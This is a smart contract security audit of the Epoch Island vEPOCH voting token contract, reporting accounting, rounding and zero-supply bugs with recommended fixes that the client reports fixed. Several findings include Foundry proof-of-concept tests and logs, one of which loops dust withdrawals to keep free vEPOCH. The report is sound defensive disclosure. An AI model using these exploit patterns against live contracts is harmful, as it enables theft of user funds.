Epoch Island (vEPOCH) Security Review

Reviewer
Hans

November 13, 2023

Contents

1 Executive Summary

As a security advisor of Epoch Island, Hans reviewed vepoch-contracts.

Summary

Type of Project	Voting Token
Timeline	23th Oct, 2023 - 10th Nov, 2023
Methods	Manual Review

A comprehensive security review identified a total of 10 issues and 8 Gas optimization suggestions.

Repository	**Initial Commit**
vepoch-contracts	29b5dda948e856908e57afa7c4ace0f682ecb5eb

Total Issues

High Risk	2
Medium Risk	2
Low Risk	2
Informational	4
Gas Optimization	8

The reported vulnerabilities were addressed by the team, and the mitigation underwent a review process and was verified by Hans.

2 Scope of the Audit

This audit was conducted for a single contract in `/contracts/Vepoch.sol`.

3 About Hans

Hans is an esteemed security analyst in the realm of smart contracts, boasting a firm grounding in mathematics that has sharpened his logical abilities and critical thinking skills. These attributes have fast-tracked his journey to the peak of the Code4rena leaderboard, marking him as the number one auditor in a record span of time. In addition to his auditor role, he also serves as a judge on the same platform. Hans' innovative insight is evident in his creation of Solodit, a vital resource for navigating consolidated security reports. In addition, he is a co-founder of Cyfrin, where he is dedicated to enhancing the security of the blockchain ecosystem through continuous efforts.

4 Disclaimer

I endeavor to meticulously identify as many vulnerabilities as possible within the designated time frame; however, I must emphasize that I cannot accept liability for any findings that are not explicitly documented herein. It is essential to note that my security audit should not be construed as an endorsement of the underlying business or product. The audit was conducted within a specified timeframe, with a sole focus on evaluating the security aspects of the solidity implementation of the contracts.

While I have exerted utmost effort in this process, I must stress that I cannot guarantee absolute security. It is a well-recognized fact that no system can be deemed completely impervious to vulnerabilities, regardless of the level of scrutiny applied.

5 Protocol Summary

Epoch Island is a community-owned economy created to fuel and fund crypto builders, kind of a decentralized Silicon Valley. `vEPOCH` is a non transferable token that aims to support various voting and relevant reward mechanisms.

6 Additional Comments

The security assessment was carried out with a narrow focus on the contracts. Due to time limitations and the incremental nature of the reviews, the results might not be comprehensive and might not represent the complete security profile of the protocol. There has been some mid-audit changes to the contracts, which were not reviewed completely. The audit was conducted on the contracts at commit 29b5dd.

7 Findings

7.1 High Risk

7.1.1 Loss of user funds due to wrong accounting for withdrawal with forfeit

Severity: High

Context: Vepoch.sol#L167

Description: The protocol allow users withdraw any amount of LP tokens any time. If the user wants to exit early, they can call the function `withdrawForfeit()` and this will cancel their reward according to the ratio of the withdrawal amount to the total deposit amount. If the unclaimed reward is not enough to cover the forfeit amount, the protocol pulls the previously claimed rewards.

```solidity
    function withdrawForfeit(uint256 _depositId, uint256 _depositTokensToRemove) external {
        Deposit storage d = deposits[_depositId];

        // Ensure the caller is the owner of said deposit
        require(d.owner == msg.sender, "NOT OWNER");
        // Ensure this function is only used for deposits where lock has not ended
        require(
            (d.depositTs + d.lockDuration) > block.timestamp,
            "DEPOSIT IS MATURED"
        );

        // Compute what percentage of depositTokens user wants to remove
        uint256 percentage = (_depositTokensToRemove * 1e18) / d.depositTokenBalance;

        // Determine the number of veTokens to burn from the user
        uint256 veTokenBalance = (calculateVeTokens(d.depositTokenBalance, d.lockDuration) * percentage) / 1e18;
        _burn(msg.sender, veTokenBalance);  // Burn them

        _updateRewards(_depositId);
        uint256 forfeitReward = ((earned[_depositId] + rewardTokensClaimed[_depositId]) * percentage) / 1e18;

        // IF number of EPOCH to return is GREATER than pending unclaimed rewards
        // Transfer the excess from the user's wallet
        if(forfeitReward > earned[_depositId]) {
            // Calculate diff and transfer this many tokens from the user
            rewardToken.transferFrom(msg.sender, address(this), forfeitReward - earned[_depositId]);

            // Since the user didn't have enough earned and had to transfer tokens
            // This means we can set this to 0
            earned[_depositId] = 0;
        } else {
            // The number of yield tokens the user has earned is greater than the number that needs to be forfeit
            // we can therefore just deduct from their balance.
            earned[_depositId] -= forfeitReward;
        }

        // Reduce staking power
        rewardStakingPower[_depositId] -= veTokenBalance;

        // Redistribute these forfeit rewards if the forfeitRedirectionAddress is unset
        if(forfeitRedirectionAddress == address(0)) {
            rewardIndex += (forfeitReward * 1e18) / totalSupply();
        } else {
            rewardToken.transfer(forfeitRedirectionAddress, forfeitReward);
        }

        // Transfer the LP tokens back
        d.depositTokenBalance -= _depositTokensToRemove;
        depositToken.transfer(msg.sender, _depositTokensToRemove); //@audit-issue rewardTokensClaimed must be updated

        emit WithdrawnForfeit(_depositId, _depositTokensToRemove, veTokenBalance, forfeitReward);
    }
```

To track the total reward, the protocol stores `rewardTokensClaimed` and add `earned` (after updating reward) to it. The problem is `rewardTokensClaimed` is not updated at the end of process and this is incorrect because the actual total reward must be decreased by the forfeit amount.

Example: Bob locked (deposited) 100e18 LP Tokens for 10 days After a day, his claimable reward is 100e18 EPOCH and he claims all. At that point, he calls `withdrawForfeit(50e18)` and this will pull 50% of his total reward back to the protocol. After this call, his EPOCH balance is 50e18 but rewardTokensClaimed is still 100e18. If he calls `withdrawForfeit(50e18)` again, the protocol will think he is withdrawing the whole deposit and tries to pull 100% of his "total reward so far", which is calculated as `earned[_depositId] + rewardTokensClaimed[_depositId]` (L180) and it will be 100e18. So the protocol tries to pull 100e18 EPOCH while he has only 50e18 EPOCH.

This becomes more problematic if he had EPOCH from other sources (e.g. purchase on Balancer) because the protocol will pull more than reasonable.

Proof Of Concept The test below simulates the example scenario in the description.

```
    function test_withdraw_forfeit_wrong_accounting() public {
        uint256 lpAmount = 100e18;
        LP.mint(attacker, lpAmount);
        assertEq(LP.balanceOf(attacker), lpAmount);
        emit log_named_uint("User LP Balance Before", LP.balanceOf(attacker));
        emit log_named_uint("vEPOCH LP Balance Before", LP.balanceOf(address(vepoch)));

        // deposit - lock 100e18 LP tokens for 10 days
        vm.startPrank(attacker);
        LP.increaseAllowance(address(vepoch), lpAmount);
        uint32 duration = 10 days;
        uint256 depositId = vepoch.deposit(lpAmount, duration, attacker);
        emit log_named_uint("User LP Balance After Deposit", LP.balanceOf(attacker));
        emit log_named_uint("vEPOCH LP Balance After Deposit", LP.balanceOf(address(vepoch)));
        emit log_named_uint("User vEPOCH Balance After Deposit", vepoch.balanceOf(attacker));
        vm.stopPrank();

        // rewards added
        EPOCH.increaseAllowance(address(vepoch), 100e18);
        vepoch.addRewardTokens(100e18);

        // a day passed
        vm.warp(block.timestamp + 1 days);
        vm.startPrank(attacker);
        // claim reward
        vepoch.claimYield(depositId);
        emit log_named_uint("User owned reward", EPOCH.balanceOf(attacker));
        emit log_named_uint("User rewardTokensClaimed stored in protocol",
        ↪   vepoch.rewardTokensClaimed(depositId));

        // withdrawForfeit - let us try withdraw in two transactions with a half of total deposit at a
        ↪   time
        // this requires user to send back half of the total reward (earned[_depositId] +
        ↪   rewardTokensClaimed[_depositId])
        EPOCH.increaseAllowance(address(vepoch), type(uint256).max);
        vepoch.withdrawForfeit(depositId, lpAmount / 2);
        emit log_named_uint("User LP Balance After Withdraw", LP.balanceOf(attacker));
        emit log_named_uint("vEPOCH LP Balance After Withdraw", LP.balanceOf(address(vepoch)));
        emit log_named_uint("User vEPOCH Balance After Withdraw", vepoch.balanceOf(attacker));
        emit log_named_uint("User owned reward", EPOCH.balanceOf(attacker));
        emit log_named_uint("User rewardTokensClaimed stored in protocol",
        ↪   vepoch.rewardTokensClaimed(depositId));

        vepoch.withdrawForfeit(depositId, lpAmount / 2); //@audit THIS REVERTS
        vm.stopPrank();
    }
```

The test results are as below.

```
[FAIL. Reason: ERC20: transfer amount exceeds balance] test_withdraw_forfeit_wrong_accounting() (gas:
↪  564273)
Logs:
  User LP Balance Before: 100000000000000000000
  vEPOCH LP Balance Before: 0
  User LP Balance After Deposit: 0
  vEPOCH LP Balance After Deposit: 100000000000000000000
  User vEPOCH Balance After Deposit: 1000000000000080000000
  User owned reward: 99999999999999999999
  User rewardTokensClaimed stored in protocol: 99999999999999999999
  User LP Balance After Withdraw: 50000000000000000000
  vEPOCH LP Balance After Withdraw: 50000000000000000000
  User vEPOCH Balance After Withdraw: 500000000000040000000
  User owned reward: 50000000000000000000
  User rewardTokensClaimed stored in protocol: 99999999999999999999

...

     [22750] VEpoch::withdrawForfeit(1, 50000000000000000000 [5e19])
        emit Transfer(from: 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, to:
    ↪   0x0000000000000000000000000000000000000000, value: 500000000000040000000 [5e20])
        [1345] EpochToken::transferFrom(0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, VEpoch:
    ↪   [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], 99999999999999999999 [9.999e19])
           ← "ERC20: transfer amount exceeds balance"
        ← "ERC20: transfer amount exceeds balance"
     ← "ERC20: transfer amount exceeds balance"

...
```

Impact The user can lose funds due to wrong accounting using `withdrawForfeit`.

Recommendation: Decrease the `rewardTokensClaimed` at the end of the process.

```
Transfer the LP tokens back
d.depositTokenBalance -= _depositTokensToRemove;
depositToken.transfer(msg.sender, _depositTokensToRemove);
++ rewardTokensClaimed[_depositId] -= forfeitReward;
```

Client: Fixed in commit 3f9502.

Hans: Verified.

7.1.2 Users can get free vEPOCH of dust amount

Severity: High

Context: Vepoch.sol#L183, Vepoch.sol#L233

Description: The protocol allows users to withdraw the deposits anytime by calling either `withdraw()` or `withdrawForfeit()`. The problem is these functions do not validate the actual burn amount is positive. Due to this problem, it is possible for users to get free vEPOCH tokens.

For example, let us look into the function `withdraw()`.

```
221:     function withdraw(uint256 _depositId, uint256 _tokenAmount) external {
222:         Deposit storage d = deposits[_depositId];
223:
224:         require(d.owner == msg.sender, "NOT OWNER");
225:         require(
226:             block.timestamp > (d.depositTs + d.lockDuration),
227:             "DEPOSIT NOT MATURED"
228:         );
229:         uint256 veTokensBurned = calculateVeTokens(d.depositTokenBalance, d.lockDuration);
230:         _updateRewards(_depositId);
231:
232:         if(_tokenAmount == d.depositTokenBalance) {
233:             _burn(msg.sender, veTokensBurned);
234:             depositToken.transfer(msg.sender, d.depositTokenBalance);
235:
236:             // Reduce staking power
237:             rewardStakingPower[_depositId] = 0;
238:
239:             claimYield(_depositId);
240:
241:             delete deposits[_depositId];//@audit-ok
242:             emit Withdrawn(_depositId, _tokenAmount, veTokensBurned);
243:
244:             return;
245:         }
246:
247:         veTokensBurned = (veTokensBurned * ((_tokenAmount * 1e18) / d.depositTokenBalance)) / 1e18;
248:
249:         d.depositTokenBalance -= _tokenAmount;
250:
251:         _burn(msg.sender, veTokensBurned);
252:         depositToken.transfer(msg.sender, _tokenAmount);
253:
254:         // Reduce staking power
255:         rewardStakingPower[_depositId] -= veTokensBurned;//@follow-up against CEI
256:
257:         emit Withdrawn(_depositId, _tokenAmount, veTokensBurned);
258:     }
```

At L247, the final burn amount is calculated according to the ratio of the withdraw amount to the total deposit amount. With L229 and the function `calculateVeTokens()` implementation in mind, we can write the actual burn amount calculation as below (in pseudocode)

```
actualBurn  calculateVeTokens(d.depositTokenBalance, d.lockDuration) * _tokenAmount * 1e18 /
↪  d.depositTokenBalance / 1e18 =
   d.depositTokenBalance * 11574074074075 * d.lockDuration / 1e18 * _tokenAmount / d.depositTokenBalance
   11574074074075 * d.lockDuration * _tokenAmount / 1e18
```

So if `d.lockDuration * _tokenAmount  < 1e18 / 11574074074075  86400`, `actualBurn` is rounded down to zero. Because the `_burn()` does not revert on zero input, the withdrawal proceeds.

This can be abused to get FREE vEPOCH tokens.

- Bob deposits LP tokens with a lock duration of 86 seconds.
- Bob calls `withdraw()` or `withdrawForfeit()` with `_tokenAmount=1000`.
- Bob's vEPOCH balance does not decrease because zero amount is burnt while he gets 1000 LP tokens back on every call.

Proof Of Concept The PoC is written using Foundry.

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console2} from "forge-std/Test.sol";
import {VEpoch} from "../contracts/Vepoch.sol";
import {EpochToken} from "../contracts/test/EpochToken.sol";
import {LPToken} from "../contracts/test/LPToken.sol";

contract VEpochTest is Test {
    LPToken public LP;
    EpochToken public EPOCH;
    VEpoch public vepoch;
    address public attacker;
    function setUp() public {
        LP = new LPToken();
        EPOCH = new EpochToken();
        vepoch = new VEpoch(address(LP), address(EPOCH));
        attacker = vm.addr(0x1);
        LP.mint(attacker, 1e6);
    }

    function test_dust_withdraw() public {
        emit log_named_uint("User LP Balance Before", LP.balanceOf(attacker));
        emit log_named_uint("vEPOCH LP Balance Before", LP.balanceOf(address(vepoch)));
        uint256 lpAmount = 1e6;
        uint32 duration = 86;
        assertEq(LP.balanceOf(attacker), lpAmount);
        vm.startPrank(attacker);
        LP.increaseAllowance(address(vepoch), lpAmount);
        // deposit - lock 1e6 LP tokens for 86 seconds
        uint256 depositId = vepoch.deposit(lpAmount, duration, attacker);
        emit log_named_uint("User LP Balance After Deposit", LP.balanceOf(attacker));
        emit log_named_uint("vEPOCH LP Balance After Deposit", LP.balanceOf(address(vepoch)));
        emit log_named_uint("User vEPOCH Balance After Deposit", vepoch.balanceOf(attacker));
        // withdraw - upto 1000 LP token will be free to withdraw without affecting the vEPOCH balance
        // withdraw of less than 86400/duration will not burn any vEPOCH
        for(uint256 i = 0 ; i < 1000 ; i ++)
            vepoch.withdrawForfeit(depositId, 1000);
        emit log_named_uint("User LP Balance After Withdraw", LP.balanceOf(attacker));
        emit log_named_uint("vEPOCH LP Balance After Withdraw", LP.balanceOf(address(vepoch)));
        emit log_named_uint("User vEPOCH Balance After Withdraw", vepoch.balanceOf(attacker));
        vm.stopPrank();
    }
}
```

The test results are as below.

```
Running 1 test for test/vEpochTest.t.sol:VEpochTest
[PASS] test_dust_withdraw() (gas: 14577295)
Logs:
  User LP Balance Before: 1000000
  vEPOCH LP Balance Before: 0
  User LP Balance After Deposit: 0
  vEPOCH LP Balance After Deposit: 1000000
  User vEPOCH Balance After Deposit: 995
  User LP Balance After Withdraw: 1000000
  vEPOCH LP Balance After Withdraw: 0
  User vEPOCH Balance After Withdraw: 995
```

Impact Although the actual exploitable amount is very small, this can be a trigger to other possible exploits in the future. According to the value of vEPOCH, it might even be economically beneficial to exploit it directly on L2 networks where the GAS price is low.

Recommendation: Disallow withdrawal of dust amount by reverting for zero burn.

Client: Fixed in commit 840ead

Hans: Verified.

7.2 Medium Risk

7.2.1 The last user can not withdraw with forfeit

Severity: Medium

Context: Vepoch.sol#L208

Description: The protocol allows users to withdraw before the end of the lock by calling `withdrawForfeit()` function. This function decides the forfeit amount based on the ratio of the withdraw amount and redistribute it to other users by increasing the `rewardIndex`.

```
        // Redistribute these forfeit rewards if the forfeitRedirectionAddress is unset
        if(forfeitRedirectionAddress == address(0)) {
            rewardIndex += (forfeitReward * 1e18) / totalSupply();//@audit-info revert at the last withdraw
        } else {
            rewardToken.transfer(forfeitRedirectionAddress, forfeitReward);
        }
```

The problem is that the logic does not cover the case where `totalSupply()=0` and it is possible if the user is the last one who exits the last. As a result, the last user can not exit early and he is forced to wait till the end of lock duration.

As a side note, there is another part where zero `totalSupply` causes a problem. The impact here is neglectable because it is not necessary to add rewards while there is no vEPOCH holder.

```
    // @notice Allows anyone to add reward tokens (which will be distributed proportionally)
    function addRewardTokens(uint256 _tokenAmount) external {
        rewardToken.transferFrom(msg.sender, address(this), _tokenAmount);
        rewardIndex += (_tokenAmount * 1e18) / totalSupply();//@audit-issue reverts if no supply
    }
```

Impact The last user can not exit early and is forced to wait till the end of the lock duration.

Proof Of Concept Below is a test function in Foundry.

```solidity
function test_withdraw_forfeit_revert() public {
        uint256 lpAmount = 100e18;
        LP.mint(attacker, lpAmount);
        assertEq(LP.balanceOf(attacker), lpAmount);
        emit log_named_uint("User LP Balance Before", LP.balanceOf(attacker));
        emit log_named_uint("vEPOCH LP Balance Before", LP.balanceOf(address(vepoch)));

        // deposit - lock 100e18 LP tokens for 10 days
        vm.startPrank(attacker);
        LP.increaseAllowance(address(vepoch), lpAmount);
        uint32 duration = 10 days;
        uint256 depositId = vepoch.deposit(lpAmount, duration, attacker);
        emit log_named_uint("User LP Balance After Deposit", LP.balanceOf(attacker));
        emit log_named_uint("vEPOCH LP Balance After Deposit", LP.balanceOf(address(vepoch)));
        emit log_named_uint("User vEPOCH Balance After Deposit", vepoch.balanceOf(attacker));

        // withdrawForfeit for the full amount reverts because totalSupply is zero while trying to
        ↪  update rewardIndex
        vepoch.withdrawForfeit(depositId, lpAmount);
        vm.stopPrank();
    }
```

The results are as below.

```
  [239801] VEpochTest::test_withdraw_forfeit_revert()
     [31758] LPToken::mint(0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, 100000000000000000000 [1e20])
        emit Transfer(from: 0x0000000000000000000000000000000000000000, to:
   ↪    0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, value: 100000000000000000000 [1e20])
        ← ()
     [563] LPToken::balanceOf(0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf) [staticcall]
        ← 100000000000000000000 [1e20]
     [563] LPToken::balanceOf(0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf) [staticcall]
        ← 100000000000000000000 [1e20]
     emit log_named_uint(key: User LP Balance Before, val: 100000000000000000000 [1e20])
     [2563] LPToken::balanceOf(VEpoch: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a]) [staticcall]
        ← 0
     emit log_named_uint(key: vEPOCH LP Balance Before, val: 0)
     [0] VM::startPrank(0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf)
        ← ()
     [24954] LPToken::increaseAllowance(VEpoch: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a],
   ↪    100000000000000000000 [1e20])
        emit Approval(owner: 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, spender: VEpoch:
   ↪    [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], value: 100000000000000000000 [1e20])
        ← true
     [140640] VEpoch::deposit(100000000000000000000 [1e20], 864000 [8.64e5],
   ↪    0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf)
        [20543] LPToken::transferFrom(0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, VEpoch:
   ↪    [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], 100000000000000000000 [1e20])
           emit Approval(owner: 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, spender: VEpoch:
   ↪    [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], value: 0)
           emit Transfer(from: 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, to: VEpoch:
   ↪    [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], value: 100000000000000000000 [1e20])
           ← true
        emit Transfer(from: 0x0000000000000000000000000000000000000000, to:
   ↪    0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, value: 1000000000000080000000 [1e21])
        emit Deposited(depositId: 1)
        ← 1
     [563] LPToken::balanceOf(0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf) [staticcall]
        ← 0
     emit log_named_uint(key: User LP Balance After Deposit, val: 0)
     [563] LPToken::balanceOf(VEpoch: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a]) [staticcall]
        ← 100000000000000000000 [1e20]
     emit log_named_uint(key: vEPOCH LP Balance After Deposit, val: 100000000000000000000 [1e20])
     [629] VEpoch::balanceOf(0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf) [staticcall]
        ← 1000000000000080000000 [1e21]
     emit log_named_uint(key: User vEPOCH Balance After Deposit, val: 1000000000000080000000 [1e21])
     [9301] VEpoch::withdrawForfeit(1, 100000000000000000000 [1e20])
        emit Transfer(from: 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, to:
   ↪    0x0000000000000000000000000000000000000000, value: 1000000000000080000000 [1e21])
        ← "Division or modulo by 0"
     ← "Division or modulo by 0"

Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 1.94ms
```

Recommendation: Consider resetting the reward tracking when the total supply becomes zero. Or add an if clause to avoid the issue described above.

```
      // Redistribute these forfeit rewards if the forfeitRedirectionAddress is unset
      if(forfeitRedirectionAddress == address(0)) {
++     if(totalSupply() > 0) //@audit-info do nothing for the last user
          rewardIndex += (forfeitReward * 1e18) / totalSupply();
      } else {
          rewardToken.transfer(forfeitRedirectionAddress, forfeitReward);
      }
```

Client: This is a known issue and design choice. Anyone with some number of deposit tokens can create a "dead position" - e.g. locking 0.00000001 for 60 seconds which resolves issues related to `totalSupply`. As part of the deployment process, we intend to create such a "dead position" which resolves this finding.

Hans: Acknowledged.

7.2.2 Invariant break due to burning wrong amount for withdrawal with forfeit

Severity: Medium

Context: Vepoch.sol#L167

Description: Looking at the implementation, I believe one of the protocol's invariant is `stakingPower = calculateVeTokens(depositTokenBalance, lockDuration)`, i.e. the vEPOCH balance of an account is supposed to be equal to the result of calculateVeTokens. (see the function `withdraw()` and `withdrawForfeit()`)

On the other hand, the protocol allow users withdraw any amount of LP tokens at any time even before the end of lock duration by calling the function `withdrawForfeit()`.

If the user wants to withdraw less than the total deposit amount, the protocol calculates the burning amount proportional to the withdrawal amount. (L182)

```
    function withdrawForfeit(uint256 _depositId, uint256 _depositTokensToRemove) external {
        Deposit storage d = deposits[_depositId];

        // Ensure the caller is the owner of said deposit
        require(d.owner == msg.sender, "NOT OWNER");
        // Ensure this function is only used for deposits where lock has not ended
        require(
            (d.depositTs + d.lockDuration) > block.timestamp,
            "DEPOSIT IS MATURED"
        );

        // Compute what percentage of depositTokens user wants to remove
        uint256 percentage = (_depositTokensToRemove * 1e18) / d.depositTokenBalance;

        // Determine the number of veTokens to burn from the user
        uint256 veTokenBalance = (calculateVeTokens(d.depositTokenBalance, d.lockDuration) * percentage) / 1e18;
        _burn(msg.sender, veTokenBalance);  // Burn them //@audit-issue burn less due to rounding

        _updateRewards(_depositId);
        uint256 forfeitReward = ((earned[_depositId] + rewardTokensClaimed[_depositId]) * percentage) / 1e18;

        // IF number of EPOCH to return is GREATER than pending unclaimed rewards
        // Transfer the excess from the user's wallet
        if(forfeitReward > earned[_depositId]) {
            // Calculate diff and transfer this many tokens from the user
            rewardToken.transferFrom(msg.sender, address(this), forfeitReward - earned[_depositId]);

            // Since the user didn't have enough earned and had to transfer tokens
            // This means we can set this to 0
            earned[_depositId] = 0;
        } else {
            // The number of yield tokens the user has earned is greater than the number that needs to be forfeit
            // we can therefore just deduct from their balance.
            earned[_depositId] -= forfeitReward;
        }

        // Reduce staking power
        rewardStakingPower[_depositId] -= veTokenBalance;

        // Redistribute these forfeit rewards if the forfeitRedirectionAddress is unset
        if(forfeitRedirectionAddress == address(0)) {
            rewardIndex += (forfeitReward * 1e18) / totalSupply();
        } else {
            rewardToken.transfer(forfeitRedirectionAddress, forfeitReward);
        }

        // Transfer the LP tokens back
        d.depositTokenBalance -= _depositTokensToRemove;
        depositToken.transfer(msg.sender, _depositTokensToRemove);

        emit WithdrawnForfeit(_depositId, _depositTokensToRemove, veTokenBalance, forfeitReward);
    }
```

The problem is this calculation includes rounding and the resulting `veTokenBalance` (burn amount) can be less than the actual one. If the user's state was (depositTokenBalance, rewardStakingPower) before the call, it becomes (depositTokenBalance - _depositTokensToRemove, rewardStakingPower - veTokenBalance) and this new state is likely not to satisfy the invariant.

Because the rounding is downward, the user will have more vEPOCH than `calculateVeTokens(depositTokenBalance, lockDuration)`. Note that if the user calls `withdraw()` or `withdrawForfeit()` for full deposit at this point, he will get the full deposit back and there will be excess vEPOCH token left.

Impact The user will get excess free vEPOCH token.

Recommendation: Decreae the deposit balance first, calculate the resulting vEPOCH amount, then burn the difference. Below is a rough implementation of the recommendation.

```
d.depositTokenBalance -= _depositTokensToRemove;
uint256 veEndTokenBalance = calculateVeTokens(d.depositTokenBalance, d.lockDuration);
uint256 burnAmount = rewardStakingPower[_depositId] - veEndTokenBalance;
 _burn(msg.sender, burnAmount);
rewardStakingPower[_depositId] -= burnAmount ;
```

Client: Fixed in commit 1d77bd

Hans: Verified.

7.3 Low Risk

7.3.1 Centralization Risk for trusted owners

The protocol has a few functions that allow the owner to change some protocol configurations. Because I also see the protocol has functions intended to lock the configurations forever, I evaluate the severity to LOW but it is still recommended to be clearly documented.

```
    function setMaxDepositDuration(uint32 _newMaxDepositDuration) external onlyOwner {
```

Client: Acknowledged.

Hans: Acknowledged.

7.3.2 Validate positive amount of vEPOCH minted on deposit

Users can deposit `depositToken` into the protocol calling the function `deposit()` specifying the intended lock duration and the receiver. The function `deposit()` gets the amount of vEPOCH using the function `calculateVeTokens()` which is defined as below.

```
    function calculateVeTokens(uint256 _tokenAmount, uint256 _duration) public pure returns(uint256) {
        // @dev 0.000011574074074074 veTokens per 1 deposit token for 1 second
        // @dev 365 days lock = ~ 365.2421..
        return (_tokenAmount * (11574074074075 * _duration)) / 1e18;
    }
```

The problem is this function will return zero for small token amount or small duration. Because `_mint()` does not revert on zero input, the user will not get anything for the inputs that satisfy `_tokenAmount * _duration < 86400`. Although the user is supposed to provide proper input values beforehand, I think it is good to prevent this in the protocol level.

Client: It is a design choice to not include this check. Users depositing such low amounts of deposit tokens can always withdraw at any point in time

Hans: Acknowledged.

7.4 Non Critical Issues

7.4.1 `require()` / `revert()` statements should have descriptive reason strings

```
318:        require(!authorisedLocked);

328:        require(!maxDepositDurationLocked);

339:        require(!forfeitRedirectionAddressLocked);
```

7.4.2 Event is missing `indexed` fields

Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

```
32:     event Deposited(uint256 depositId);

33:     event DepositExtend(uint256 _depositId, uint32 _secondsExtended);

40:     event Withdrawn(uint256 depositId, uint256 depositTokensReturned, uint256 veTokensBurned);

41:     event Authorised(address authorisedAddress, bool newAuthorisationStatus);

42:     event MaxDepositDurationSet(uint256 newMaxDepositDuration);

43:     event DepositOwnershipTransferred(uint256 depositId, address newOwner);

44:     event RewardClaimed(uint256 depositId, uint256 yieldTokenAmount);

45:     event RewardForfeit(uint256 depositId, uint256 yieldTokenAmount);
```

7.4.3 Constants should be defined rather than using magic numbers

```
148:        return (_tokenAmount * (11574074074075 * _duration)) / 1e18;
```

7.4.4 Functions not used internally could be marked external

```
63:     function transfer(address to, uint256 amount) public override returns (bool) {

72:     function transferFrom(address from, address to, uint256 amount) public override returns (bool) {
```

7.5 Gas Optimizations

7.5.1 Use assembly to check for `address(0)`

```
210:         if (forfeitRedirectionAddress == address(0)) {
```

7.5.2 Using bools for storage incurs overhead

Use uint256(1) and uint256(2) for true/false to avoid a Gwarmaccess (100 gas), and to avoid Gsset (20000 gas) when changing from 'false' to 'true', after having been 'true' in the past. See source.

```
26:     bool public maxDepositDurationLocked;

27:     bool public forfeitRedirectionAddressLocked;

28:     bool public authorisedLocked;

30:     mapping(address => bool) public authorised;
```

7.5.3 Cache array length outside of loop

If not cached, the solidity compiler will always read the length of the array during each iteration. That is, if it is a storage array, this is an extra sload operation (100 additional extra gas for each iteration except for the first) and if it is a memory array, this is an extra mload operation (3 additional gas for each iteration except for the first).

```
126:         for (uint256 i = 0; i < _depositIds.length; i++) {
```

7.5.4 State variables should be cached in stack variables rather than re-reading them from storage

The instances below point to the second+ access of a state variable within a function. Caching of a state variable replaces each Gwarmaccess (100 gas) with a much cheaper stack read. Other less obvious fixes/optimizations include having local memory caches of state variable structs, or having local caches of state variable contracts/addresses.

```
166:         emit Deposited(depositCount);
```

7.5.5 Use Custom Errors

Source Instead of using error strings, to reduce deployment and runtime cost, you should use Custom Errors. This would save both deployment and runtime cost.

```
64:         require(authorised[msg.sender], "NON TRANSFERABLE");

73:         require(authorised[msg.sender], "NON TRANSFERABLE");

110:        require(deposits[_depositId].owner == msg.sender, "NOT OWNER");

127:            require(deposits[_depositIds[i]].owner == msg.sender, "NOT OWNER");

154:        require(_duration > 59 && _duration <= maxDepositDuration, "INVALID DURATION");

176:        require(d.owner == msg.sender, "NOT OWNER");

178:        require((d.depositTs + d.lockDuration) > block.timestamp, "DEPOSIT IS MATURED");

227:        require(d.owner == msg.sender, "NOT OWNER");

228:        require(block.timestamp > (d.depositTs + d.lockDuration), "DEPOSIT NOT MATURED");

264:        require(d.owner == msg.sender, "NOT OWNER");

265:        require(maxDepositDuration >= d.lockDuration + _secondsToExtend, "INVALID DURATION");

286:        require(d.owner == msg.sender, "NOT OWNER");

330:        require(_newMaxDepositDuration <= 315576000, "10 YEAR MAX");
```

7.5.6 Don't initialize variables with default value

```
126:        for (uint256 i = 0; i < _depositIds.length; i++) {
```

7.5.7 `++i` costs less gas than `i++`, especially when it's used in `for`-loops (`--i`/`i--` too)

```
126:        for (uint256 i = 0; i < _depositIds.length; i++) {
```

7.5.8 Splitting require() statements that use && saves gas

```
154:        require(_duration > 59 && _duration <= maxDepositDuration, "INVALID DURATION");
```